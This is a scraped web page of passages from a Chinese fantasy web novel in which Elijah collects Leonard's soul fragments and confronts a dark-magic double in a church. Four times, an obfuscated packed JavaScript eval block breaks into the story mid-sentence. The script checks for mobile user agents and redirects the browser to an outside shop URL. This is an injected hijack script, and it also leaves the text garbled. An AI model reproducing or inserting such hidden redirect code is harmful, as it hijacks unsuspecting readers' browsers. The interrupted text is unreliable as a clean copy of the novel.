;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419337|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以45度角歪斜在马路牙子上,好像站累了忽然决定要休息休息,于是就地倒了下去。 莱纳德让以利亚自己站好,往马路上走了两步,然后伸起大拇指,摆出了拦车的姿势。 以利亚看着对方一脸严肃地顶着警帽,在两边都是废墟的破路上拦车,差一点笑出声来,但肌肉刚一牵动,他就捂着胸口蹲了下去,在心里骂道,那个长獠牙的龟孙子还真是下狠手啊。 “老实等着,别乱动。”莱纳德回头瞪了他一眼。 “警长,别告诉我这镇子上还有跑出租车的。”以利亚话音刚落,就看到远处马路尽头腾起一片黄土,紧接着汽车引擎声由远及近,一辆红色敞篷跑车穿过漫天沙尘,朝他们飞驰而来。 “……”以利亚张大嘴,说不出话来了。 “全城最佳赛车手在此,听说你们需要搭一程?”司机戴着一副硕大的墨镜,一身夸张的花衬衫再配上那辆高调的敞篷跑车,简直像小李子走错了片场。 “少说废话。”莱纳德拉开后车门,把以利亚塞进去,自己坐到副驾驶的位置,说道,“老地方,开车。” “遵命,警长大人。”墨镜男懒洋洋地说,并起手指在额角敬了个礼,脚下猛踩油门,跑车立刻咆哮一声,猛冲出去。他从后视镜里打量着以利亚,忽然把墨镜摘下来一半,露出一双漂亮的蓝眼睛,微笑道:“没想到能在这里见到你,老朋友,看你这幅样子,肯定已经见过我们那位黑暗大魔王咯?” 竟然又是一个莱纳德,以利亚扯扯嘴角,那地方也有个新鲜的伤口,于是他这个笑容看起来有点扭曲:“大魔王?我管他叫德古拉。” “老天爷,他吸你的血了?这阴险的爬虫!”墨镜莱纳德露出被恶心到的表情,又说,“你可得小心点,伙计,不然下次就该叫他汉尼拔了。” “我会的。”以利亚说,他盯着驾驶座上莱纳德在风中飞扬的金发和鼓动不休的花衬衫,忍不住问,“那我该叫你什么呢?瑞恩·高斯林?” 墨镜莱纳德哈哈一笑,右手拇指冲警长莱纳德一戳,说:“他是警长。”又回手一指自己,沾沾自喜地说道,“我是邦德,詹姆斯·邦德。” “持执照杀人的超级特工?”以利亚捧场地追问,他在后座上躺倒,轰隆作响的耳鸣总算消停了些,但浑身的力气也仿佛被抽干净了,他怀疑自己待会儿是不是还爬得起来。 “没错,开最快的车,抱最美的人,干最野的活。”莱纳德推了推墨镜,故作深沉,“代号007,正是在下。” 警长莱纳德终于忍无可忍:“你能闭上嘴,好好开车吗?” 墨镜莱纳德吹了声口哨,丝毫不以为意,但就是不闭嘴:“警长,我们的老朋友正在忍受伤痛,你难道没听说过笑治百病这句话?” 警长和以利亚的声音同时响起,一个说:“没听过。”另一个说:“我倒是也不太痛。” 墨镜莱纳德撇了撇嘴,总算安静了。 以利亚闭上眼睛,几乎是立刻就昏睡了过去。 55.第二十三章:致命纹身 “天花板上怎么有个洞?” 睁开眼睛后,这是以利亚说的第一句话,也是他第一眼看到的东西。 床边立刻有人回答他:“六星级酒店都这样,特地给你订了顶层套房,白天能看云,晚上还能看星星。” 以利亚嗤嗤地笑起来:“那还真是谢谢你了。” 洞口外的天空黄澄澄的,满是沙尘,把云熏得犹如烤过头的羊角面包,的确是不可多得的景色,以利亚无言地欣赏了一会儿,翻了个身,床边,莱纳德正冲他微笑,花衬衫敞着口,露出里面写着“尼克队万岁”的T恤。 “你怎么在屋里还要戴墨镜?”以利亚忍不住问。 “帅哥都这样。”莱纳德把墨镜往鼻梁上推了推,同时向以利亚展示他的八颗白牙,“而且严格来说,这屋是露天的。” 以利亚打了个哈欠,又想闭上眼睛了,他勉强打起精神,问:“这是什么地方?” “安全屋。” “安全屋?” 以利亚打量了一下这间叫危房都得算奉承的破屋子,从天花板灌进来的风似乎更冷了,无语道:“这儿还能有真正安全的地方?” “没有。”莱纳德站在窗边探头看了看,回过头,挑起嘴角,“只是为了安慰你而已。” 以利亚叹了口气:“我又不是小孩子,不需要安慰。” 何况也并没有真的被安慰到。 他掀开薄被,愣了半秒钟,又把被子原样盖回去,抬起头问莱纳德:“我的上衣呢?” “被我剪开丢进垃圾桶了。”莱纳德一语惊人,听得以利亚目瞪口呆。 莱纳德回到床边坐下,理直气壮地说道:“那破衬衣跟你的伤口粘在一起,跟放过期的果酱饼干一样,拽都拽不下来,只能报废掉咯。你要是怕冷,我这件衬衣待会儿借给你。”说着捏起花衬衣的领口朝以利亚晃了晃。 “谢了,我不冷。”以利亚干巴巴地说,他张了张嘴,却欲言又止。 莱纳德像是猜到了他的心思,主动说道:“邦德探路去了,他说他知道接下来该做什么。”说着往椅背上一靠,翘起二郎腿,十指交叉摆在肚子上,慵懒地吁了口气,“我什么都不知道,所以留下来看家,顺便陪你说话逗乐。” “他知道接下来该做什么?”以利亚目光闪动。 “是啊,他是这么说的,但你也知道,那家伙一点都不健谈,所以多余的话他一个字都没说。”莱纳德一摊手,“除了我没几个人能忍得了他,女士们先生们,这是个显而易见的事实。” “没几个人?” 莱纳德看着以利亚,忽然咧嘴一笑:“你不会以为这里只有我们几个吧?” 以利亚的心剧烈一跳,差一点跳出膛子:“其他人呢?” 在这个灵魂世界里,除了他这个外来者,其他人都是莱纳德,或者说他内心的投影,毫无疑问,就像眼前这个爱开玩笑的大男孩一样,其他人也必定是莱纳德的灵魂碎片。 而他需要找到全部碎片,一个人都不能落。 警长真的清楚这一切吗? “不知道。” 花衬衫朝以利亚晃了晃手指:“好了,关于莱纳德这个老家伙没那么多好说的,现在我们换个话题。” 他手肘撑在膝盖上,上半身朝以利亚倾过去,故意压低声音问:“你锁骨上那个很酷的纹身是怎么来的?” 这么有趣的东西他可没办法假装没注意到,一脱掉以利亚的外衣,那个数字纹身就暴露在他眼前,不知怎地,他能感觉得到这组数字散发的邪恶气息。 “要是纹身店的老板错把‘007’给写成了‘001’,你可真应该狠狠敲他一笔。” 莱纳德在空中挥舞手指:“因为众所周知,前者是无人不知、飞天遁地的高级特工,持执照杀人的女王密使,而后者只是以一组愚蠢的数字。” 以利亚看着他,似乎怔住了,默然不语。 莱纳德举起双手:“好吧,是我偷看你在先,但大家都是男人,你也没什么好害羞的嘛。” 他顿了顿,见以利亚始终不答,泄气似的说:“算了,你不想告诉我就别说了,反正我也不是特别好奇。” “我以为你看不到的,这是诅咒留下的痕迹。”沉默半晌,以利亚才终于开口,他心念忽地一动,一旦此间事了,莱纳德的灵魂恢复完整,这些碎片记忆则无法保留,也就是说,在那之前,所有话题都是安全的。 “你听说过孟雅特巫师团吗?”以利亚问,他感到自己正从一个天真的孩子嘴里套话,让他有种微妙的罪恶感。 莱纳德皱起眉,他手臂上窜起一层鸡皮疙瘩,就像烙印在以利亚锁骨上的“001”纹身,这个名字同样给他一种邪恶的感觉。 “孟雅特巫师团,我当然知道,大魔王就是受他们蛊惑,才学习黑魔法的,不是吗?” “比那要复杂一点点,但大体不错。” 以利亚的脸色似乎比刚才更苍白,他用手指摩挲着锁骨上的黑色纹身,三个数字刻印的痕迹一片刺骨的冰冷,当然了,这是直接作用于灵魂的诅咒,理应拥有死亡的温度。 沉吟良久,他才最后说道:“莱纳德是为了救我才学习黑魔法的。” “别给混蛋找理由,好好先生。” “我没有,”以利亚指着自己的锁骨,“这个纹身是一位叛逃的孟雅特巫师的手笔,很强大的诅咒,死亡倒数,而‘001’代表着我仅剩的心跳数,所以,你大概也想得到当时的情况算是比较紧急。” “是吗?”莱纳德板起脸,嘴巴抿成平平的一条,好像忽然变成了手机里的emoji表情。 “除了黑魔法,没有其他封印诅咒的办法。”以利亚提起嘴角,但笑容十分勉强,“倒不是说眼下的结果能比倒数归零好多少。” 莱纳德站起来,“我知道你的意思,以利亚,但这不值得。他之后做的事你又不是没经历过,实话实说,两不相欠最多只能算个委婉的说法。” “他救了我的命,这是事实。” “那你为何不详细讲讲这个诅咒又是怎么来的呢?”莱纳德指着以利亚的纹身,寸步不让。“只要你告诉我,你不是为了救我们才被诅咒的。” 以利亚叹了口气:“我们没必要这样,又不是比赛。” “谁说不是?你差点死了,我差点疯了,这难道不是势均力敌?” “倒不如说是两败俱伤。” “一团乱麻。”莱纳德用力揉了揉脑袋,把头发拨得像鸟窝一样。 以利亚叹气,这么说实在没错。 莱纳德盯着以利亚的黑色纹身,还有那几处新添的伤口,忽然说:“如果大魔王不复存在,这个纹身会怎么样?” “一切会回归正轨。”以利亚说话时心跳空了半拍,这可不妙,天真的孩子好像忽然变聪明了。 “别跟我玩文字游戏,我不聪明,但也不是傻子。”莱纳德不高兴地说,“回归正轨的意思就是,大魔王会消失,封印诅咒的黑魔法一块灰飞烟灭,然后你,我的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430553|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友,你只剩下最后一次心跳了,不是吗?” 以利亚沉默了一会儿:“总会有办法的。” 莱纳德差点气笑了:“你刚说过没有别的办法。” “那是当时。”以利亚揉了揉眉心,他讨厌做这种无谓的争论,可莱纳德偏偏乐此不疲,哪怕只是碎片,“虽然代价很大,但我们争取到了时间。” “好一个轻描淡写的代价。” “我说过会解决这一切,还是说,你已经不相信我了?” “我当然相信你。”莱纳德看着以利亚的眼睛,“但你这样提高嗓门、虚张声势的时候除外。” 以利亚只好再次叹气,他实在不知道还能怎么办。 警长莱纳德一直到天色转暗才回来,带着干净的衣服、饮用水和消炎药,丢给以利亚,然后说:“等天一黑我们就出发。” “为什么一定要天黑?”以利亚丢了颗消炎药在嘴里囫囵咽下去,又从衣服堆里挑了件衬衣穿上,剩下的用外套打了个包,“还有,我们出发去哪儿?” “去我们该去的地方。”警长站在床头,嘴巴闭得紧紧的,好像多说一个字对他都是一种酷刑。 以利亚用一种不可思议的眼神看着他,感叹:“兄弟,你是就习惯这么说话?还是说你是个不折不扣的神秘主义者?” 警长看起来更不想说话了,墨镜莱纳德在一旁帮他回答:“他只有脑子灵光,嘴很笨的,你要原谅他。”他扭动着十根指头指向自己,得意道,“毕竟口才的那部分都在我这里。” 以利亚叹了口气,他真是太想念灵魂完整的莱尼了。 入夜后,三人一行再次上车,警长不知从哪儿搞来一辆黑色小轿车,四面车窗都贴了防窥膜,看起来既低调又安全。 但墨镜莱纳德不怎么满意——他还是不肯摘掉墨镜,当然了——对小轿车一番评头论足,显然这辆车跟他的红色超跑一比,和小朋友的脚踏车没什么区别。 警长亲自开车,墨镜不愿意屈尊坐副驾,于是跑到后座来骚扰以利亚,问东问西的,嘴巴没一刻安静。以利亚原本睡了一白天精力充沛,居然硬生生被他给说困了,靠在椅背上一点一点往下滑。 墨镜莱纳德谈起他对美国八十年代情景喜剧的心得体会,正说到兴头上,忽然瞄到以利亚快要从椅背上滑下来了,敏捷地往他那边一挪,用肩膀接住了他的脑袋。 车里立刻安静了下来,警长从后视镜里投来询问的目光,却见墨镜正从后面单手捞出一条毯子,小心翼翼地盖到了以利亚身上,朝他比出OK的手势。 汽车开得更稳了,警长打开空调暖气,抓紧享受难得的清净。 以利亚其实没睡着,在碰到莱纳德肩膀的一瞬间他就醒了,但对方配合地没再说话,他也就顺理成章地没睁开眼睛,等到莱纳德往他身上盖毯子,他索性加重鼻息,假装已经进入了梦乡。 汽车有规律的轻轻颠簸着,脑袋底下的肩膀虽然有点硌人,但温暖得恰到好处,以利亚闭了一会儿眼睛,竟然真的有些昏昏欲睡。 “你准备好了?”警长忽然低声问。 以利亚意识到他是在跟墨镜说话,但空气安静了很久,才听到墨镜回答:“当然。” 警长又问:“不害怕?” 墨镜这次沉默了更久,低声说:“007无所畏惧。”他顿了顿,下巴朝以利亚一点,语气更郑重了些:“他都能为咱们做这么多,我还有什么不敢做的?” 后视镜里,警长无声地笑了笑。 56.第二十四章:胆小鬼 以利亚中途还是醒了,不是被说话声吵醒的,而是汽车爆胎了。 他睁开眼睛,才发现外边正在下雨,眼下这种空气环境,每一滴雨落到车窗上果然都变成了泥点子,前窗的泥点更是被雨刮器刮成了一糊片,也亏得警长车技高超,居然开了这么远。 “后备箱里有备胎,我去换。”警长撂下这句话就跳下了车。 天色太黑,墨镜莱纳德终于不得不摘掉了墨镜,不安地四处观望,嘱咐道:“动作快点,这地方感觉不大对头。” 警长在车外回答:“知道了,你们保持警惕。” 墨镜连忙嘘他:“小点声,别把妖怪找来。” 车外立刻只剩下唰唰的雨声。 以利亚摇下后车窗,接了几滴雨在指头上搓搓,潮湿的泥渣顿时簌簌而落。 他不由得皱紧眉头,并不是说灵魂世界不会下雨,但顾名思义,这里的天气自然与莱纳德的灵魂状态息息相关,而眼下,跟他坐在一起灵魂碎片可完全不像内心在下泥点雨的样子。 也许其他人遇到了危险,也许…… 后备箱那里,警长忽然发出一声短促的痛呼,然后是重物倒地的声音。 车里的两人立刻变了脸色,一左一右跳下车,还没站稳就听到警长克制的喊声:“别过来!”他咬牙把痛哼吞进肚子里,喘了口气,说道:“开车,走!” 以利亚竖起食指,示意墨镜原地待着,自己贴着后车门慢慢摸了过去,车灯下,警长的两条腿从车轮后伸出来,没有别的影子。 他蹲下来,小心翼翼地靠近,正要抓住警长的脚踝把他拖过来,另一边却猝不及防响起了墨镜莱纳德的惨呼。 以利亚悚然一惊,头顶惊雷骤然滚过,盖过了身体倒地的动静。 “莱尼?”他压低声音,血液轰隆隆地从太阳穴流过,直冲头顶。 除了雨声更加肆无忌惮外,没有任何回应。 顾不上别的,以利亚从掩体跑出来,大跨步冲到车后,左右都不见敌人的影子,墨镜莱纳德倒在地上,一边捂着胸口痛苦大叫,一边不住左右翻滚。 背靠着后车厢,警长虽没叫出声,但也痛得冷汗滚滚而下,他看到以利亚,勉强抬起一只手,颤声道:“帮他,快。” 以利亚已经扶起了莱纳德,“喂,我在这儿,莱尼,让我看看。”他试图按住莱纳德的肩膀,好查看伤势,但对方不住挣扎,两眼空洞地瞪着天空,似乎已经失去了意识。 以利亚抓住他的双手,只见他的胸口上泅开一团黑色的痕迹,把“尼克队万岁”几个字全盖住了。 是黑魔法,而且侵蚀的痕迹还在不断扩大。 以利亚把莱纳德的手拉到自己胸口,用力按住,“没救了”几个字滑过以利亚脑海,几乎让他感到一阵眩晕。 “莱尼?看着我,看着我,嘿,没事的,一切都会好起来的。”莱纳德失焦的眸子转了转,终于不再挣扎,他偏过头,吐出叹息一样轻的几个音节:“以利亚?” “我在这。”以利亚调整姿势,好让对方靠得更舒服一些。“我在这儿。” 他用手掌贴住莱纳德的额头,掌心立刻感到一阵灼热,留给他的时间不多了。 “别怕,只要按我说的做,一定会没事的,怎么样?” “我、我还没准备好,不要。”莱纳德满脸冷汗不住地往外冒,金发一缕一缕地黏在脸侧,像只溺水的小动物,无助地抓住以利亚的手指,“我不想、不想死,真的,我还没准备好。” “你不会死的,我保证。”以利亚努力让自己的声音听起来平稳些,可惜却不太成功。 “对不起,”莱纳德抬起下巴,即便用尽力气,他也只能小幅度地摇头,“我撒谎了,我、我不是最勇敢的那个,也不是、不是最有趣的那个,我是最胆小的那个,我老是哭,他们都知道。” 他目光灼热地望着以利亚,似乎想从他脸上读出什么,呼吸从急促逐渐平复,最后只是轻轻叹了口气,“别丢下我,好吗?” “我不会把你丢下的,永远。”以利亚郑重地说。 他从口袋里拿出玻璃瓶,侧头在肩膀上蹭了蹭眼角,对莱纳德微笑,“而且听着,莱尼,没有哪个胆小鬼敢说出你刚才说的这些话,你明白吗?” 一句俗语自然而然地涌上心头,清晰得像钟鸣一样,于是他把那句话说了出来:“每个人都该直面渡鸦。” 以利亚叹息:“没有例外。” 莱纳德终于伸出手,用指尖碰了碰玻璃瓶,指尖立刻亮起白光,顺着手臂一路蔓延,很快将他整个人包裹了起来,胸口的黑色痕迹转眼变成粉末消散在了空气中。 “以利亚,”在一片白色荧光中,莱纳德忽然又叫了以利亚一声,嘴唇翕动,“你不会解除诅咒封印吧?答应我,别做傻事。” 以利亚默然不语。 “不然你知道我会倒向谁,别逼我那么做。”莱纳德固执地看着对方,胸口的黑气再度翻涌起来,向白光侵蚀过去。 终于,以利亚低声说:“好吧,我答应。” “我相信你。”莱纳德如释重负地叹了口气,闭上了眼睛。 以利亚的怀里一空,灵魂碎片已经悄然归位,他看着玻璃瓶里多出的明亮荧光,握紧手指,他需要几秒钟时间来平复。 但这几秒似乎比他想象得要漫长,莱纳德最后的请求不断在他耳边回响,像油料即将耗尽的发动机,每响一声都震得他胸口一阵麻木。 可每个人总要直面渡鸦的,不是吗? 他终于转向警长:“你呢,准备好了吗?” 警长背靠着汽车保险杠,正在包扎自己肩膀上的伤口,闻言抬起头:“用不着,收起你的小瓶子,我还能坚持。” 以利亚摇头:“没必要冒险,你告诉我该去哪儿,然后老老实实到我的瓶子里来。” “我说了,”莱纳德扶着车后备箱站起来,把歪到一边的警帽檐扶正,说道,“我还能坚持。” 以利亚看着他,寸步不让:“我知道你可以,但是没必要。” “我没打算跟你讨论。”莱纳德咬牙捱过几秒眩晕,弯腰从后备箱里拿出备胎和千斤顶,以利亚从一边抓住了他的手臂,声音里的忍耐已在边缘摇摇欲坠:“别逼我,莱纳德,我不会眼看着你被黑魔法侵蚀的。” “我不会,我心里有数。”莱纳德镇定地跟他对视,说了两人见面以来最长的一句话,“有我在,他才不敢出现,最多也就是这些无伤大雅的小把戏,但如果你把我也塞进那瓶子里,他会怎么对付你?以利亚,你已经体验过了,所以拜托别告诉我你一个人能行。”说完径自拿着轮胎和千斤顶走到了车前。 以利亚愣在原地,无言以对。 两个人一起换掉轮胎,汽车再次发动起来,伴随着流畅的引擎咆哮飞快穿越夜色中的荒废小镇。 开车的还是莱纳德,以利亚拗不过他,只好在副驾驶座位上板着脸,每隔五秒钟扭头检查一下莱纳德的状态,他看上去有些苍白、有些疲倦,但大体不错。 “你至少该告诉我目的地。”以利亚忍不住说。 “告诉你,好让你把我装进瓶子里?”莱纳德毫不留情地戳破以利亚的心思,他瞟了眼路边一闪而过的街道标识,一脚把油门踩到底,“别着急,我们就快到了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444995|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你把他们都聚集起来了,对不对?”安静了一会儿,以利亚又问,“其他的灵魂碎片。” 莱纳德“嗯”了一声。 “包括这次被我带进来的?”以利亚追问,“它们没有被黑魔法侵蚀?” 莱纳德摇摇头,这次连话都懒得说了,也不知道是在回答哪个问题。 好消息是,他们总算到达了目的地。 两人下了车,看着哥特式尖顶和顶上巨大的十字架,以利亚心想,他早该猜到的,除了大天使守护的教堂,还能有什么地方更适合阻挡黑魔法入侵? 他后脖子忽然感到一阵寒意,仿佛空气中突然多了静电,激得他皮肤上窜起无数鸡皮疙瘩。 这点他想得到,警长想得到,那个躲在角落里随时正准备出阴招的黑魔法混蛋又怎么会想不到? “走吧。”警长似乎察觉到以利亚的紧张情绪,伸手抓住了他的手臂,把他往教堂拉去。 走进教堂中殿,立刻明亮了起来,光线从拱顶圆窗和两侧彩窗壁画上照进殿内,十数排座椅在中央过道上投下斑驳的影子。 以利亚的目光从两侧的白石雕像上一一扫过,并没有预想中的乌列、加百列或是米迦勒这几位大天使,也没有耶稣和圣母玛利亚,或是任何地球宗教人士。 他看到的是穹顶的高楼和飞车、正在调酒的布兰迪、风琴河岸的巨型蘑菇,还有芮内城的人力车……壁柱彩绘也无一例外都是熟悉的场景。 就好像,他和莱纳德旅行过的时空被一格一格地凝固在了这里,变成了守护这个灵魂世界的一部分。 “他们在哪儿?”以利亚问,大殿里除了他们连一丝动静都没有,安静得仿佛创世纪尚未降临。 “跟我走。” 莱纳德走过中殿,踏上祭坛,握住祭坛边上的小天使用力一扳,只听接连几声“咔嗒”响起,整座祭坛竟然向外旋转开来,露出了一条黑漆漆的石阶通道。 以利亚伸腿就要迈进去,莱纳德却一把拉住他,不着痕迹地把一个东西塞进了他手心里。 大殿里忽然响起“啪啪啪”的鼓掌声。 两个人同时抬头,只见一身黑袍的莱纳德正站在中殿过道上,满脸笑容地看着他们,浓重的黑色竟连他的眼白都一并淹没了。 “多谢你们引路,”他语调轻快地说道,“这个地方真不错,我很喜欢。”他双脚踩着的地方“嘶嘶”地冒出白烟来,似乎炽热难当,他却浑然不觉,迈开腿朝祭坛走过来。 所过之处,他只需挥挥手指,两侧的白石雕像便纷纷碎裂成齑粉,簌簌落在了地上。 “你觉得藏在教堂里我就不敢进来了?”黑袍莱纳德嘲弄地看着警长,“亏我还以为你会更有创意一点,真是令人失望。” “圣坛不是你这种魔鬼该踏足的地方。”警长镇定地看着黑袍,忽然从腰间拔出一把小巧的银色手枪,抬起枪口,“你的黑魔法在这里成不了气候,现在回头还来得及。” “银色子弹?你是认真的还是打算玩过家家?” 黑袍莱纳德发出一声不屑的嗤笑,脚步没有丝毫迟疑,“拜托,我们都长大了,谁还会相信老爸的狗屁童话故事?” 他挥挥手指,警长立刻痛哼一声,捂着肩膀弯下了腰,被绷带缠住的部分黑气大盛,转眼便向他的脖子和下巴蔓延了过去。 以利亚顾不上别的,劈手拿过银色手枪,对准黑袍莱纳德:“滚出去!不然我就开枪了。” 黑袍莱纳德居然真的停下了,他伸开双臂,微笑着说:“哦,以莱,这将是我最喜欢的时刻,来吧,开枪。” 以利亚眼角肌肉不住抽动,用力扣下了扳机。 57.第二十五章:灵魂碎片 子弹在空中划出一道漂亮的银光,“嗤”地没入黑袍前胸,瞬间冒出了白烟,但不等以利亚松口气,旁边警长却毫无征兆地身子一歪,竟从祭坛上一头倒栽了下去。 砰—— 警长像只沉甸甸的麻袋摔在地上,面朝下一动不动,连哼都没哼,以利亚的心跳霎时停止,紧跟着又飞快鼓动起来,仿佛想把刚才拉下的空拍补上。 “莱尼?”他低声叫道,没有回应。 以利亚咬紧牙关,手撑祭坛边缘当即便要跳下去,但掌心的东西却骤然发烫,他动作一僵,随即听到了黑袍的大笑声。 “以莱,你的心思总是这么好猜,说实话,我都有点心疼你了。”黑袍并起手指在胸前的弹孔上用力一抹,顿时有更多的白烟冒起来,“嗷,有点痛欸。” 他把那几根手指含进嘴里,咂摸了几下,咧嘴笑道,“好了,好了,我知道,我上次把伤口转移给了你,但拜托你用脑子想一想,在我的地盘上,你早就是瓮中之鳖了,我干嘛不索性换个人玩呢?” 他笑吟吟地看着以利亚,大步朝祭坛走过来,“还是说,你早已经无所顾忌了?” 以利亚垂下枪口,眼角的肌肉跳动着:“如果灵魂不完整,你还是会死的。” “谁说我想要残缺的灵魂了?”黑袍嗤嗤地笑起来,“不过,你休想再单独把我封印起来了,这一次,我会让你亲眼看着,每一片灵魂都将染上黑魔法的颜色。”那双黢黑的眼睛里涌动着邪恶的光芒,“等我再醒来,咱们还有的是账要算。” 以利亚平静地笑了笑:“有账还是现在清算更好。” “急什么?我正玩得开心呢。” 黑袍转眼间便已走到祭坛边,他对倒在地上的警长不屑一顾,长腿一迈,踏上祭坛,朝以利亚伸出手:“要一起吗?你可以看着我修复灵魂,怎么样?” 他目光闪动,又说:“别想着在这种地方攻击我,以莱,你知道没有用的。” “我知道。”以利亚说,冷静地望着他,似乎已经放弃,可再开口时,他说的却是,“不过,你恐怕也并没有自己想得那么稳操胜券。” 他掉转枪口,对准自己的眉心便要扣下扳机! 黑袍莱纳德蓦地发出一声又惊又怒的尖叫:“你敢!” 他朝以利亚猛扑过去,右臂伸长,要把他的枪夺下来,眼角余光里却倏地闪过一道黑影,他骤然意识到,事情似乎正沿着与他预期相反的方向急转直下。 但来不及了,他身后,原本倒在祭坛下的警长朝他猛扑过来,像经验老到的摔跤手那样搂住他的双腿用力一扭,两个人顿时失去平衡,同时朝黑漆漆的地道栽了下去。 下一秒,祭坛的地道机关轰然关闭,将两人封在了下面。 教堂恢复寂静,天窗外似乎有一群渡鸦振翅而起,凄厉的叫声很快远去了。 以利亚半跪在祭坛边,打开了警长塞给他的小纸条,借着头顶微光,看到纸条上写着两行字—— 第一行是:灵魂碎片藏在剧院。 第二行是:最后来收我们两个。 原来灵魂碎片压根没有藏在祭坛下,而看似抵挡黑魔法的教堂,竟是请君入瓮的圈套。 以利亚捏着纸条讶然失笑,肯定早在出发之前,警长便已将此行的每一个环节都计算清楚、布置妥当,这绝不是仅凭心思缜密就能做到的。 “我该拿你怎么办呢?”以利亚喃喃,他用力攥紧纸条,连指尖都不禁发烫了。 按照纸条的指引,以利亚驱车来到剧院,大门上挂着“欢乐喜剧嗨不停俱乐部”的招牌。 还是莱尼以前告诉他的,这里是故园鸟镇上的第一家剧院,进入二十一世纪后才改造成俱乐部。 推开俱乐部大门,巨大的小丑人偶不出意外地撞入眼帘,那一头海草绿发衬得脸越发白得吓人,猩红的大嘴巴从左耳根一直咧到右耳根。 以利亚吁了口长气,经过这样一个夜晚,连小丑这张脸都变得天真无邪起来。 他仰头看着小丑头顶大写加粗的“如果开心你就拍拍手”横幅,回想起两人第一次来这里时的情形,探出右手,在小丑的两只手上各拍了一下。 “咔嗒”一声轻响,在空荡荡的大厅里撞出层层回音。 小丑的下巴一松,落下三寸,一只玻璃瓶从他的舌头上“咕噜噜”滚了出来。 以利亚伸手把玻璃瓶取出来,只见瓶子里装着柔和的白色荧光物质,确是融合的灵魂碎片无疑。 他旋开瓶塞,对准自己的玻璃瓶,两股荧光便自发融合成为一体,在瓶中闪烁起来,仿佛正雀跃不已。 “别急,还差最后两片。”以利亚笑笑,仔细地把玻璃瓶装好。 走出俱乐部,外面天光熹微,空气显而易见地清透了不少,云开雾散,天色也难得地晴朗起来。 以利亚不无意外地看到,原本荒凉破败的街区竟似是在一夜之间时光倒流,依稀能看出昔日模样了。 看起来,随着莱纳德的灵魂碎片融合,他的灵魂世界也一点点恢复了原有的生机。 教堂却仍是离开时的样子,大殿里满是石像碎裂的齑粉,祭坛上,石头天使伸出一只小手,冲以利亚露出傻乎乎的微笑。 从上面听不到祭坛下的一丝动静。 以利亚扳住天使用力一拧,地道在“咔嗒”声中再次显露,他屏息平静了一会儿,按着祭坛边缘一跃而下。 祭坛之下是一间狭小的囚室,只有一点烛光照明,墙上画满了遏制黑魔法的红色符号,空气中仿佛浮动着血的味道,显然也是警长提前布置好的恶魔囚牢。 警长和黑袍各靠坐在一边墙壁上,警长支起一条腿,头抵着膝盖,警帽勾在手指上,似乎正闭目养神,黑袍却满不在乎地晃着一只脚,眼睛依然黑得发亮,对以利亚说:“你来了。” 以利亚不理他,径自到警长身边,取出装灵魂碎片的瓶子,荧光顿时照得这里一片大亮,按住他的肩膀:“来吧。” 谁知警长却摇了摇头,伸手一指:“先收他。” 以利亚一愣:“为什么?” 黑袍嗤地笑出了声:“好戏开演咯。” 警长抬眸看着以利亚,白光映照下,那双眼睛蓝得出奇,仿佛一切谎言和诡计在他面前都无处遁形,他慢慢说道:“我要看着你封印他。” 以利亚的手指不自觉收紧了,他听到自己干巴巴的笑声,像用浸湿的钢丝球擦玻璃:“你不相信我?” 警长不吭声,还是那样深沉又冷静地注视着他,反倒是黑袍又笑了起来:“扑克脸只不过是太了解你,以莱,他看出来你打算跟我同归于尽了,对不对?” 以利亚脸上的表情一定出卖了他,因为警长忽然把他的手从自己肩膀上拉了下来,用力攥紧:“不可以。” “但是……” “绝对不可以。”警长攥得更用力,一字一顿,“你答应过我们,说话算话。” 以利亚深呼吸,他大概会为这个决定后悔的,就像尼克松总统后悔他在1972年8月之后做的每一次公众声明那样,后悔,并且无可奈何。 但那句老话怎么说的来着? 你总没办法打劫一个不穿衣服的人。 “我不能再留他了,莱纳德,上一次你醒来后丢掉了所有关于我的记忆,还记得吗?”以利亚眼前忽然闪过莱纳德从医疗舱里出来时满脸陌生、只想远远逃离他的样子,不知为何,这个画面带来的冲击比他想象中要大一些。 “这一次可不会那么好过啦!”黑袍在后边怪里怪气地叫道,最后索性唱了起来,“除非我们俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 